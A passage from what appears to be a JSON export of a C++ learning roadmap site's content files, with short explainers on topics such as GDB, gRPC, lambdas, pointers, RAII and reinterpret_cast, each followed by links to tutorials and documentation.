    "content": "# GDB: GNU Debugger\n\nGDB, the GNU Project Debugger, is a command-line tool essential for debugging C and C++ programs. It allows developers to examine a program's execution, set breakpoints, step through code, inspect variables, and analyze call stacks to identify and fix bugs. By using GDB, developers gain deep insight into the runtime behavior of their programs, making it an indispensable part of the C++ development workflow.\n\nVisit the following resources to learn more:\n\n- [@video@GDB is REALLY easy! Find Bugs in Your Code with Only A Few Commands](https://www.youtube.com/watch?v=Dq8l1_-QgAc)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/grpc@621J9W4xCofumNZGo4TZT.md",
    "content": "# gRPC\n\ngRPC is a high-performance, open-source framework developed by Google for building remote procedure calls (RPCs). It uses Protocol Buffers as its Interface Definition Language (IDL) and relies on HTTP/2 for transport. gRPC enables client applications to directly call methods on a server application on a different machine as if it were a local object, making it easier to create distributed applications and microservices.\n\nVisit the following resources to learn more:\n\n- [@official@Quick start](https://grpc.io/docs/languages/cpp/quickstart/)\n- [@official@Basic Tutorial](https://grpc.io/docs/languages/cpp/basics/)\n- [@opensource@grpc](https://github.com/grpc/grpc)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/gtest--gmock@MrAM-viRaF8DSxB6sVdD9.md",
    "content": "# Google Test and Google Mock\n\nGoogle Test and Google Mock are open-source C++ unit testing frameworks developed by Google. Google Test is a standalone framework for writing and running unit tests, while Google Mock extends it with powerful mocking capabilities. GMock is especially useful for testing components that interact with external or third-party utilities.\n\nVisit the following resources to learn more:\n\n- [@official@Google test github pages](https://google.github.io/googletest/)\n- [@video@Google C++ Testing, GTest, GMock Framework playlist](https://youtube.com/playlist?list=PL_dsdStdDXbo-zApdWB5XiF2aWpsqzV55&si=TR8ESbH1-epTl6VM)\n- [@video@Back to Basics: Unit Testing in C++ - Dave Steffen - CppCon 2024](https://youtu.be/MwoAM3sznS0?si=pumn99IobfU4AZ1I)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/headers--cpp-files@CK7yf8Bo7kfbV6x2tZTrh.md",
    "content": "# Headers / CPP Files\n\nIn C++, organizing code effectively involves splitting programs into header and source files. Header files (with extensions like `.h` or `.hpp`) declare interfaces such as classes, functions, and variables, acting as blueprints for other parts of the code. Source files (with the `.cpp` extension) then implement the functionality declared in the headers. This separation supports modularity, reduces compilation times through separate compilation, and enhances code readability and maintainability by clearly defining interfaces and implementations.\n\nVisit the following resources to learn more:\n\n- [@article@Header files (C++)](https://learn.microsoft.com/en-us/cpp/cpp/header-files-cpp?view=msvc-170)\n- [@video@What are header files in C++ ( PROGRAMMING TUTORIAL for beginners)](https://www.youtube.com/watch?v=qaGzc56Rekg)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/idioms@fb3bnfKXjSIjPAk4b95lg.md",
    "content": "# C++ Idioms\n\nC++ idioms are established patterns and techniques used by developers to solve common programming challenges in a standardized and effective manner. These idioms promote code that is more efficient, maintainable, and less prone to errors by leveraging the features and principles of C++. Examples include Resource Acquisition Is Initialization (RAII) for managing resources, the Rule of Five for proper object lifecycle management, the PImpl idiom for hiding implementation details, and the Non-Virtual Interface (NVI) pattern for controlling inheritance behavior. Understanding and applying these idioms is crucial for writing robust and high-quality C++ code.\n\nVisit the following resources to learn more:\n\n- [@article@Idioms](https://medium.com/@amalpp42/idioms-in-c-f6b1c19fa605)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/if-else--switch--goto@bjpFWxiCKGz28E-ukhZBp.md",
    "content": "# Conditional Statements and Unconditional Jump\n\n`if-else`, `switch`, and `goto` are fundamental control flow mechanisms in C++. `if-else` constructs enable programs to execute different code blocks based on boolean conditions. The `switch` statement provides a way to efficiently handle multiple possible values of a single variable. The `goto` statement allows for an unconditional jump to a labeled point in the code, but its use is generally discouraged due to potential impacts on code readability and maintainability.\n\nVisit the following resources to learn more:\n\n- [@video@The 'if-else' Statement in C++](https://www.youtube.com/watch?v=9-BjXs1vMSc)\n- [@video@Learn C++ With Me - Switch Statement](https://www.youtube.com/watch?v=uOlLs1OYSSI)\n- [@video@Why is it illegal to use \"goto\"?](https://youtu.be/AKJhThyTmQw?si=gjEqAsDZVMDGVAT2)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/installing-c@0J_ltQEJh2g28OE2ZEYJj.md",
    "content": "# Installing C++\n\nTo use C++, you need to set up the necessary tools on your system to compile and run C++ code. This typically includes a compiler (like GCC or Clang), a build system (like Make or CMake), and an Integrated Development Environment (IDE) or text editor for writing code. The specific steps vary depending on your operating system (Windows, macOS, or Linux)."
  },
  {
    "path": "src/data/roadmaps/cpp/content/introduction-to-language@NvODRFR0DLINB0RlPSsvt.md",
    "content": "# Introduction to Language\n\nC++ is a general-purpose programming language known for its performance, efficiency, and control over hardware. It supports both procedural and object-oriented programming paradigms, making it versatile for a wide range of applications, from system programming to game development. C++ builds upon the C language, adding features like classes, templates, and exception handling.\n\nVisit the following resources to learn more:\n\n- [@article@Learn C++](https://www.learncpp.com/)\n- [@article@Get Started with CPP!](https://isocpp.org/get-started)\n- [@video@C++ Full Course by freeCodeCamp](https://youtu.be/vLnPwxZdW4Y)\n- [@video@C++ Programming Course - Beginner to Advanced](https://www.youtube.com/watch?v=8jLOx1hD3_o)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/iostream@VeVxZ230xkesQsIDig8zQ.md",
    "content": "# iostream\n\n`iostream` is a fundamental header in the C++ Standard Library that handles input and output (I/O) operations. It provides classes like `istream` for input, `ostream` for output, and `iostream` for combined I/O. `cin`, `cout`, `cerr`, and `clog` are predefined objects within `iostream` for standard input, standard output, standard error output, and buffered logging, respectively. Use the `#include <iostream>` directive to incorporate this functionality into your programs."
  },
  {
    "path": "src/data/roadmaps/cpp/content/iterators@Ebu8gzbyyXEeJryeE0SpG.md",
    "content": "# Iterators\n\nIterators in C++'s Standard Template Library (STL) are essential tools for traversing and accessing elements within containers like vectors, lists, and arrays. They act as generalized pointers, offering a way to interact with container elements without needing to know the container's underlying implementation. C++ provides different iterator types, including input, output, forward, bidirectional, reverse, and random access iterators, each with specific capabilities for reading, writing, and navigating through container elements. For most use cases, you would use `auto` keyword with `begin()` and `end()` methods to work with iterators. C++ algorithms often leverage iterators for tasks such as searching and sorting."
  },
  {
    "path": "src/data/roadmaps/cpp/content/lambdas@xjiFBVe-VGqCqWfkPVGKf.md",
    "content": "# Lambdas\n\nLambdas, also known as lambda expressions, are a concise way to define anonymous functions directly within the code where they are needed. They are essentially nameless functions that can capture variables from the surrounding scope. Lambdas are particularly useful for short, self-contained operations, making code more readable and efficient by eliminating the need to define separate named functions for simple tasks, often used with algorithms like `std::sort` or `std::for_each`.\n\nVisit the following resources to learn more:\n\n- [@article@Lambda Expressions](https://en.cppreference.com/w/cpp/language/lambda)\n- [@video@Lambdas in C++](https://youtu.be/MH8mLFqj-n8)\n- [@feed@Explore top posts about AWS Lambda](https://app.daily.dev/tags/aws-lambda?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/language-concepts@-6fwJQOfsorgHkoQGp4T3.md",
    "content": "# Language Concepts\n\nC++'s foundation rests on several core language concepts that enable the creation of efficient and robust applications. These concepts encompass fundamental building blocks like variables and data types for storing information, control structures for managing program flow with conditionals and loops, and functions for modularizing code into reusable blocks. Furthermore, C++ provides data structures such as arrays and vectors for managing collections of data, powerful memory manipulation through pointers, and object-oriented programming features via structures and classes, supporting inheritance and polymorphism. Finally, exception handling allows for graceful recovery from runtime errors, creating a well-rounded and reliable programming experience."
  },
  {
    "path": "src/data/roadmaps/cpp/content/language-tools@Kb2Pbz0Sq7YlO1vCwYxnX.md",
    "content": "# Language Tools\n\nLanguage tools in C++ provide functionalities that aid developers in writing, analyzing, and maintaining C++ code. These tools often include compilers, debuggers, static analyzers, and build systems that help to automate tasks, identify potential errors, and improve the overall quality of the codebase. They streamline the development process, from initial coding to final deployment."
  },
  {
    "path": "src/data/roadmaps/cpp/content/library-inclusion@5mNqH_AEiLxUmgurNW1Fq.md",
    "content": "# Library Inclusion\n\nIn C++, library inclusion is the process of making external code available to your program. This is achieved primarily through the `#include` preprocessor directive, which allows you to incorporate header files containing declarations of functions, classes, and other entities. Header files from the standard library are included using angle brackets (`<iostream>`), while user-defined or third-party headers are included using double quotes (`\"myheader.h\"`). While less common, source files can also be included, though this practice is generally discouraged due to potential issues with multiple definitions and longer compile times."
  },
  {
    "path": "src/data/roadmaps/cpp/content/licensing@sLVs95EOeHZldoKY0L_dH.md",
    "content": "# Licensing\n\nLicensing governs how you can use, modify, and distribute software libraries, particularly crucial when integrating third-party code into your C++ projects. Common open-source licenses like MIT, GPL, and Apache 2.0 each provide different levels of freedom and obligations. The MIT License is permissive, allowing almost any use with minimal requirements. The GPL is copyleft, requiring that modifications and derivative works also be licensed under GPL. The Apache License 2.0 is permissive, but includes terms relating to patents and requires documentation of modifications. Understanding and adhering to these licenses is essential to avoid legal issues."
  },
  {
    "path": "src/data/roadmaps/cpp/content/lifetime-of-objects@9aA_-IfQ9WmbPgwic0mFN.md",
    "content": "# Lifetime of Objects\n\nObject lifetime in C++ dictates when an object comes into existence and when it ceases to exist. This crucial concept influences memory management and program correctness. C++ defines four storage durations: static (exists for the program's duration), thread (exists for a thread's duration), automatic (exists within a scope), and dynamic (controlled by `new` and `delete`). Managing object lifetimes effectively, especially dynamic objects, is essential for preventing memory leaks and ensuring stable application behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Lifetime](https://en.cppreference.com/w/cpp/language/lifetime.html)\n- [@article@Object Lifetime in C++ (Stack/Scope Lifetimes)](http://youtube.com/watch?v=iNuTwvD6ciI)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/logical-operators@Y9gq8WkDA_XGe68JkY2UZ.md",
    "content": "# Logical Operators\n\nLogical operators in C++ allow you to combine or modify boolean expressions, resulting in a final boolean value of either true (1) or false (0). These operators are crucial for controlling the flow of your program based on multiple conditions. C++ provides three main logical operators: AND (`&&`), which returns true only if both operands are true; OR (`||`), which returns true if at least one operand is true; and NOT (`!`), which reverses the boolean value of its operand. They enable you to create complex conditional statements.\n\nVisit the following resources to learn more:\n\n- [@article@Logical Operators](https://www.w3schools.com/cpp/cpp_operators_logical.asp)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/macros@zKdlfZTRHwjtmRUGW9z9-.md",
    "content": "# C++ Macros\n\nMacros in C++ are preprocessing directives that instruct the preprocessor to perform text substitutions before compilation. Defined using `#define`, they enable you to create symbolic constants, function-like constructs, and control conditional compilation. Macros can help in code optimization and customization, but it's essential to use them judiciously due to potential debugging and scope issues.\n\nVisit the following resources to learn more:\n\n- [@article@Macros in C++](https://www.youtube.com/watch?v=j3mYki1SrKE)\n- [@video@C++ Macros](https://www.codecademy.com/resources/docs/cpp/macros)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/makefile@t6rZLH7l8JQm99ax_fEJ9.md",
    "content": "# Makefile\n\nA Makefile is a configuration file used by the `make` utility to automate the process of compiling and linking code in a project. It defines a set of rules and dependencies that specify how to build the final executable or library from source code. It consists of variables, rules with targets, prerequisites, recipes, and phony targets, which do not represent actual files, but execute related actions. Makefiles streamline the build process, reducing errors and ensuring consistency by specifying dependencies between source files and the commands to generate output files, such as object files and executables."
  },
  {
    "path": "src/data/roadmaps/cpp/content/memory-leakage@6w0WExQ4lGIGgok6Thq0s.md",
    "content": "# Memory Leakage\n\nMemory leakage occurs when dynamically allocated memory is no longer accessible by the program, but the program fails to release it back to the operating system. This results in the memory being unusable by other parts of the program or other applications, gradually reducing the available memory and potentially leading to performance degradation or even program crashes."
  },
  {
    "path": "src/data/roadmaps/cpp/content/memory-model@mSFwsTYvmg-GwG4_DEIEf.md",
    "content": "# Memory Model\n\nThe C++ memory model defines how a program organizes and manages memory during execution. It divides memory into different segments, each serving a specific purpose: the stack for function calls and local variables, the heap for dynamic memory allocation, the data segment for global and static variables, and the code segment for executable instructions. Understanding this model is crucial for writing efficient and bug-free C++ code, especially when dealing with memory management and resource allocation.\n\nVisit the following resources to learn more:\n\n- [@video@Memory Segments in C/C++](https://www.youtube.com/watch?v=2htbIR2QpaM)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/multiple-inheritance@WjHpueZDK-d3oDNMVZi9w.md",
    "content": "# Multiple Inheritance\n\nMultiple inheritance in C++ allows a class to inherit from multiple base classes, combining their properties and behaviors into a single derived class. This means a class can inherit data members and member functions from several parent classes, offering a way to create more complex and specialized classes. However, it's essential to use multiple inheritance carefully, as it can introduce complexities like ambiguity and the diamond problem, requiring a good understanding of class hierarchies and potential conflict resolution.\n\nVisit the following resources to learn more:\n\n- [@article@Multiple Inheritance](https://www.w3schools.com/cpp/cpp_inheritance_multiple.asp)\n- [@video@Multiple Inheritance Deep Dive | C++ Tutorial](https://www.youtube.com/watch?v=sswTE0u0r7g)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/multithreading@OXQUPqxzs1-giAACwl3X1.md",
    "content": "# Multithreading\n\nMultithreading allows concurrent execution of multiple threads within a single process, enhancing application performance by enabling parallel task execution. C++ provides multithreading support through the `<thread>` library (introduced in C++11), enabling thread creation, argument passing, and synchronization mechanisms like mutexes and locks to manage shared resource access and prevent data races. This introduction covers basic thread creation, passing arguments to threads, and using mutexes for thread synchronization; more advanced topics such as thread pools, condition variables, and atomic operations, exist for advanced synchronization and performance tuning.\n\nVisit the following resources to learn more:\n\n- [@video@Build your first multithreaded application - Introduction to multithreading in modern C++](https://www.youtube.com/watch?v=xPqnoB2hjjA)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/name-mangling@Lt7ss59KZw9Jwqj234jm2.md",
    "content": "# Name Mangling\n\nName mangling, also known as name decoration, is a technique compilers use to encode extra information like scope, type, and linkage into identifier names (like function and variable names). This allows C++ to support function overloading, where multiple functions can share the same name but have different parameters. The compiler generates a mangled name based on these details, though the exact mangling rules vary between compilers and platforms. Tools like `c++filt` can demangle these names back to their original form, which is useful for debugging. While you usually don't need to understand the details of name mangling, it can be important when working with external libraries or linking object files from different compilers.\n\nVisit the following resources to learn more:\n\n- [@article@C++ Name Mangling](https://medium.com/@abhishek.ec/c-name-mangling-ce3d0fedf88d)\n- [@video@Name Mangling In C++](https://www.youtube.com/watch?v=FUIle4Ghasw)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/namespaces@iIdC7V8sojwyEqK1xMuHn.md",
    "content": "# Namespaces\n\nNamespaces in C++ provide a way to organize code into logical groups, preventing naming conflicts when using code from different libraries or parts of a large project. They act as containers for variables, functions, classes, and even other namespaces. You can access elements within a namespace using the scope resolution operator `::`, nest namespaces for further organization, and selectively import elements or entire namespaces into the current scope using the `using` keyword to simplify code while being mindful of potential name collisions.\n\nVisit the following resources to learn more:\n\n- [@article@Namespaces](https://learn.microsoft.com/en-us/cpp/cpp/namespaces-cpp?view=msvc-170)\n- [@video@What are C++ namespaces? 📛](https://www.youtube.com/watch?v=2lcIKzFHjSM)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/newdelete-operators@Gld0nRs0sM8kRe8XmYolu.md",
    "content": "# New/Delete Operators\n\nThe `new` and `delete` operators in C++ are used for dynamic memory allocation and deallocation. `new` allocates a block of memory on the heap and returns a pointer to the beginning of that block. `delete` then releases the memory block previously allocated by `new`, making it available for other uses. Proper use of `new` and `delete` is crucial to prevent memory leaks."
  },
  {
    "path": "src/data/roadmaps/cpp/content/newest@sxbbKtg7kMNbkx7fXhjR9.md",
    "content": "# C++23\n\nC++23 is the latest version of the C++ standard, building upon previous iterations to introduce new features, library enhancements, and language improvements. It aims to simplify development, improve performance, and provide more modern tools for C++ programmers. This standard incorporates features like `std::expected`, stackable coroutines, and improvements to the standard library, making C++ more robust and expressive.\n\nVisit the following resources to learn more:\n\n- [@official@The Standard](https://isocpp.org/std/the-standard)\n- [@article@C++23](https://en.wikipedia.org/wiki/C%2B%2B23)\n- [@article@Overview of New Features in C++23](https://medium.com/@threehappyer/overview-of-new-features-in-c-23-68c5bc668958)\n- [@video@C++23: An Overview of Almost All New and Updated Features - Marc Gregoire - CppCon 2023](https://www.youtube.com/watch?v=Cttb8vMuq-Y)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/ninja@HkUCD5A_M9bJxJRElkK0x.md",
    "content": "# Ninja\n\nNinja is a small, fast build system designed for speed and efficiency. Instead of directly interpreting project structure, it executes pre-generated build plans. This allows it to build only what's necessary, leading to significantly faster build times, particularly in large projects. It's commonly used with meta-build systems like CMake, which generate the `build.ninja` files that Ninja then uses to perform the actual build process.\n\nVisit the following resources to learn more:\n\n- [@official@Ninja](https://ninja-build.org/manual.html)\n- [@video@CMake vs Ninja - a real-life comparison with actual code](https://www.youtube.com/watch?v=AkGt0fsQ17o)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/non-copyable--non-moveable@xjUaIp8gGxkN-cp8emJ2M.md",
    "content": "# Non-Copyable / Non-Moveable\n\nThe non-copyable/non-moveable idiom in C++ prevents objects of a class from being copied or moved. This is achieved by deleting the copy constructor, copy assignment operator, move constructor, and move assignment operator. It's useful for classes that manage exclusive resources, ensuring that only one instance controls the resource at a time, preventing issues like resource duplication or double deletion. By disabling copying and moving, you enforce a unique ownership model for instances of the class.\n\nVisit the following resources to learn more:\n\n- [@article@Dealing with non-copyable objects - (C++ Tutorial)](https://dev.to/dabretema/the-day-i-forbade-copy-semantics-to-an-object-nkl)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/nuget@g0s0F4mLV16eNvMBflN2e.md",
    "content": "# NuGet\n\nNuGet is a package manager initially designed for the .NET ecosystem, but it also extends its functionality to C++ projects through the `PackageReference` format. It simplifies the process of adding, updating, and managing external libraries and dependencies within your C++ projects, whether you're using Visual Studio's GUI, its integrated command-line tools, or the standalone `nuget.exe` executable. With NuGet, managing dependencies becomes more streamlined and efficient, allowing you to focus on your core C++ code.\n\nVisit the following resources to learn more:\n\n- [@article@Creating Cross-Platform NuGet Package To Wrap Native C++ Libraries](https://medium.com/@yooonatan/creating-cross-platform-nuget-package-to-wrap-native-c-libraries-b2ee71c34164)\n- [@video@What is NuGet? | Nuget 101 [1 of 5]](https://www.youtube.com/watch?v=WW3bO1lNDmo)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/object-oriented-programming@b3-QYKNcW3LYCNOza3Olf.md",
    "content": "# Object-Oriented Programming (OOP)\n\nObject-oriented programming is a style of programming centered around \"objects,\" which combine data (attributes) and functions (methods) that operate on that data. OOP enables you to create modular, reusable, and maintainable code by organizing your programs around these objects and their interactions. Key concepts in OOP include classes (blueprints for objects), encapsulation (bundling data and methods), inheritance (creating new classes from existing ones), and polymorphism (using a single interface for different types).\n\nVisit the following resources to learn more:\n\n- [@article@C++ OOP](https://www.w3schools.com/cpp/cpp_oop.asp)\n- [@video@Object Oriented Programming (OOP) in C++ Course](https://www.youtube.com/watch?v=wN0x9eZLix4)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/opencl@GGZJaYpRENaqloJzt0VtY.md",
    "content": "# OpenCL\n\nOpenCL (Open Computing Language) is a framework for writing programs that execute across heterogeneous platforms consisting of CPUs, GPUs, and other processors. It allows developers to harness the parallel processing power of different types of hardware using a unified API, enabling acceleration of computationally intensive tasks. With OpenCL, you can write code that can run on a variety of devices, making it a versatile tool for parallel programming.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction](https://github.khronos.org/OpenCL-CLHPP/)\n- [@opensource@Basic examples of OpenCL with the C++ API](https://github.com/Dakkers/OpenCL-examples)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/opencv@Eq3TKSFJ2F2mrTHAaU2J4.md",
    "content": "# OpenCV\n\nOpenCV (Open Source Computer Vision Library) is a comprehensive collection of programming functions primarily aimed at real-time computer vision. It encompasses a vast array of algorithms for image processing, object detection, video analysis, and machine learning, providing developers with tools to analyze and manipulate visual data.\n\nVisit the following resources to learn more:\n\n- [@official@OpenCV](https://opencv.org/)\n- [@video@Setup OpenCV in Visual Studio 2022 for C/C++ Development](https://www.youtube.com/watch?v=unSce_GPwto)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/operator-overloading@llCBeut_uc9IAe2oi4KZ9.md",
    "content": "# Operator Overloading in C++\n\nOperator overloading in C++ is a feature that allows you to redefine the way operators work for user-defined types (such as classes and structs). It lets you specify how operators like +, -, \\*, ==, etc., behave when applied to objects of your class. Visit the following resources to learn more:\n\nVisit the following resources to learn more:\n\n- [@official@Operator Overloading - Microsoft Learn](https://learn.microsoft.com/en-us/cpp/cpp/operator-overloading)\n- [@article@operator overloading - cppreference.com](https://en.cppreference.com/w/cpp/language/operators)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/orbit-profiler@O0lVEMTAV1pq9sYCKQvh_.md",
    "content": "# Orbit Profiler\n\nOrbit Profiler is a performance analysis tool designed to help developers identify bottlenecks and optimize the performance of their applications. It provides detailed insights into CPU usage, memory allocation, and other performance metrics through sampling and tracing. This helps pinpoint areas where code can be made more efficient.\n\nVisit the following resources to learn more:\n\n- [@official@ORBIT PROFILER](https://orbitprofiler.com/)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/package-managers@h29eJG1hWHa7vMhSqtfV2.md",
    "content": "# Package Managers\n\nPackage managers are essential tools that streamline the process of incorporating external libraries and dependencies into C++ projects. They automate the tasks of installing, updating, and managing these components, simplifying development and promoting code reuse. Popular options in the C++ ecosystem include Conan, a decentralized, cross-platform solution; vcpkg, a package manager developed by Microsoft; and cppan, which is now part of the build2 build toolchain. These tools help developers efficiently manage dependencies, improving code quality and accelerating development."
  },
  {
    "path": "src/data/roadmaps/cpp/content/partial-template-specialization@1NYJtbdcdOB4-vIrnq4yX.md",
    "content": "# Partial Template Specialization\n\nPartial template specialization in C++ allows you to create specialized versions of a template for specific subsets of types. This is achieved by providing a new template definition that is selected by the compiler when the template arguments match the specified criteria. It offers a way to customize template behavior for certain type categories, like pointers or specific data types, without needing complete specializations for every possible type."
  },
  {
    "path": "src/data/roadmaps/cpp/content/pimpl@MEoWt8NKjPLVTeGgYf3cR.md",
    "content": "# Pimpl Idiom\n\nThe Pimpl (Pointer to Implementation) idiom is a C++ technique used to hide the implementation details of a class. This is achieved by declaring a private implementation class and holding a pointer to it within the main class. The public interface remains clean, and compile-time dependencies are significantly reduced. This promotes better code organization, reduces recompilation times, and improves binary compatibility.\n\nVisit the following resources to learn more:\n\n- [@article@Pointer To Implementation(PIMPL) Idiom By Using Smart Pointer in C++](https://cengizhanvarli.medium.com/pointer-to-implementation-pimpl-idiom-by-using-smart-pointer-in-c-07dcd535d0ce)\n- [@video@Classes Part 30 - pIMPL (pointer to implementation) - More Stable APIs| Modern Cpp Series Ep. 67](https://www.youtube.com/watch?v=3mFpXNEB_AA)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/poco@nOkniNXfXwPPlOEJHJoGl.md",
    "content": "# POCO\n\nPOCO (Portable Components) is a C++ class library that simplifies network-centric, portable applications. It offers a comprehensive set of tools and components for tasks such as networking, data processing, and basic utilities. POCO focuses on being modular and cross-platform.\n\nVisit the following resources to learn more:\n\n- [@official@POCO Docs](https://pocoproject.org/documentation.html)\n- [@video@Writing a Network Client with POCO](https://www.youtube.com/watch?v=rRR9RTUEn4k)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/pointers-and-references@DWw8NxkLpIpiOSUaZZ1oA.md",
    "content": "# Pointers and References\n\nPointers and references are fundamental concepts in C++ that allow indirect access to variables. A pointer stores the memory address of another variable, enabling dynamic memory management and manipulation. A reference, on the other hand, acts as an alias for an existing variable, providing a direct way to access and modify its value. Understanding the difference between pointers and references, including constant pointers and pointers to constants, is crucial for writing efficient and safe C++ code.\n\nVisit the following resources to learn more:\n\n- [@article@C++ Pointers](https://www.youtube.com/watch?v=slzcWKWCMBg)\n- [@article@Function Pointer in C++](https://www.scaler.com/topics/cpp/function-pointer-cpp/)\n- [@video@C++ pointers explained easy 👈](https://www.youtube.com/watch?v=slzcWKWCMBg)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/protobuf@jpMCIWQko7p3ndezYHL4D.md",
    "content": "# Protobuf\n\nProtobuf (Protocol Buffers) is a language-neutral, platform-neutral, extensible mechanism for serializing structured data. You define how you want your data to be structured once, then you can use special generated source code to easily write and read your structured data to and from a variety of data streams, using a variety of languages. Think of it as a more efficient and flexible alternative to XML or JSON.\n\nVisit the following resources to learn more:\n\n- [@opensource@protobuf](https://github.com/protocolbuffers/protobuf)\n- [@article@Protocol Buffer Basics: C++](https://protobuf.dev/getting-started/cpptutorial/)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/pybind11@tEkvlJPAkD5fji-MMODL7.md",
    "content": "# pybind11\n\npybind11 is a lightweight header-only library that allows you to create Python bindings for your existing C++ code. It essentially lets you expose C++ functions, classes, and data structures to Python, enabling seamless interoperability between the two languages. This allows you to leverage the performance of C++ while utilizing the flexibility and ease of use of Python.\n\nVisit the following resources to learn more:\n\n- [@opensource@pybind11](https://github.com/pybind/pybind11)\n- [@article@Pybind11 Tutorial: Binding C++ Code to Python](https://medium.com/@ahmedfgad/pybind11-tutorial-binding-c-code-to-python-337da23685dc)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/pytorch-c@88pr5aN7cctZfDVVo-2ns.md",
    "content": "# PyTorch C++\n\nPyTorch C++ provides a front-end for the PyTorch machine learning framework, allowing you to build and deploy models using C++ instead of Python. This enables you to leverage the performance and control of C++ for computationally intensive tasks, especially in production environments where low latency and resource efficiency are critical. It involves using a C++ API to define and execute PyTorch operations.\n\nVisit the following resources to learn more:\n\n- [@official@PyTorch C++ API](https://docs.pytorch.org/cppdocs/)\n- [@article@LibTorch: The C++ Powerhouse Driving PyTorch](https://medium.com/@pouyahallaj/libtorch-the-c-powerhouse-driving-pytorch-ee0d4f7b8743)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/qt@gAZ9Dqgj1_UkaLzVgzx1t.md",
    "content": "# Qt\n\nQt is a cross-platform application development framework widely used for creating graphical user interfaces (GUIs) and applications that run on various operating systems, such as Windows, macOS, Linux, and embedded systems. It provides a set of tools and libraries that simplify the development process, offering features like widgets, networking, database access, and multimedia support. Qt uses C++ as its primary programming language, extending it with its own meta-object compiler (moc) and signal/slot mechanism for event handling.\n\nVisit the following resources to learn more:\n\n- [@official@Qt for Beginners](https://wiki.qt.io/Qt_for_Beginners)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/raii@OmHDlLxCnH8RDdu5vx9fl.md",
    "content": "# RAII\n\nRAII (Resource Acquisition Is Initialization) is a C++ idiom that ties the management of resources to the lifetime of objects. Resources are acquired during object construction and automatically released when the object is destroyed, typically in the destructor. This ensures resources are properly managed, even in the face of exceptions, preventing leaks and simplifying code by automating resource cleanup.\n\nVisit the following resources to learn more:\n\n- [@article@RAII](https://en.cppreference.com/w/cpp/language/raii.html)\n- [@video@What is RAII (Resource Acquisition Is Initialization)?](https://www.youtube.com/watch?v=q6dVKMgeEkk)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/ranges_v3@et-dXKPYuyVW6eV2K3CM8.md",
    "content": "# Ranges v3\n\nRanges v3 is a modern C++ library that provides tools for working with sequences of elements in a more composable and expressive way. It introduces concepts like views and algorithms that operate on ranges, allowing you to chain operations together to process data efficiently and elegantly without relying heavily on iterators. Ranges v3 simplifies common data manipulation tasks such as filtering, transforming, and sorting by offering a higher-level abstraction over traditional iterator-based code.\n\nVisit the following resources to learn more:\n\n- [@opensource@range-v3](https://github.com/ericniebler/range-v3)\n- [@article@A GentleIntroductiontoRangesv3](https://www.daixtrose.de/talks/gentle-intro-to-ranges/talk/A%20Gentle%20Introduction%20to%20Ranges%20v3.pdf)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/raw-pointers@uEGEmbxegATIrvGfobJb9.md",
    "content": "# Raw Pointers\n\nRaw pointers are variables that store the memory address of another variable. They directly hold the location in memory where a value is stored, allowing you to access and manipulate that value. Using raw pointers requires careful memory management as you are responsible for allocating and deallocating the memory they point to.\n\nVisit the following resources to learn more:\n\n- [@article@Raw pointers (C++)](https://learn.microsoft.com/en-us/cpp/cpp/raw-pointers?view=msvc-170)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/references@uUzRKa9wGzdUwwmAg3FWr.md",
    "content": "# References\n\nIn C++, a reference is an alias for an existing variable. It provides an alternative name to access the same memory location. References are similar to pointers in some ways, but they have key differences: a reference must be initialized when it's created, and once initialized, it cannot be changed to refer to a different variable. References are commonly used to pass arguments to functions by reference, allowing the function to modify the original variable.\n\nVisit the following resources to learn more:\n\n- [@article@References](https://en.cppreference.com/w/cpp/language/reference)\n- [@article@C++ References](https://www.w3schools.com/cpp/cpp_references.asp)\n- [@video@REFERENCES in C++](https://www.youtube.com/watch?v=IzoFn3dfsPA)"
  },
  {
    "path": "src/data/roadmaps/cpp/content/reinterpret_cast@ZMyFDJrpCauGrY5NZkOwg.md",
    "content": "# reinterpret_cast\n\n`reinterpret_cast` is a powerful but potentially dangerous type of casting operator in C++. It allows you to convert between unrelated pointer types, integer types, or between pointers and integers. Unlike other casts, it doesn't perform any type checking or data conversion. Its primary function is to reinterpret the bit pattern of an expression as a different type, making it useful for low-level operations, but also requiring extreme caution to avoid undefined behavior. Use it only when absolutely necessary and understand the underlying memory layout involved."
  },
  {
    "path": "src/data/roadmaps/cpp/content/rtti@r0yD1gfn03wTpEBi6zNsu.md",
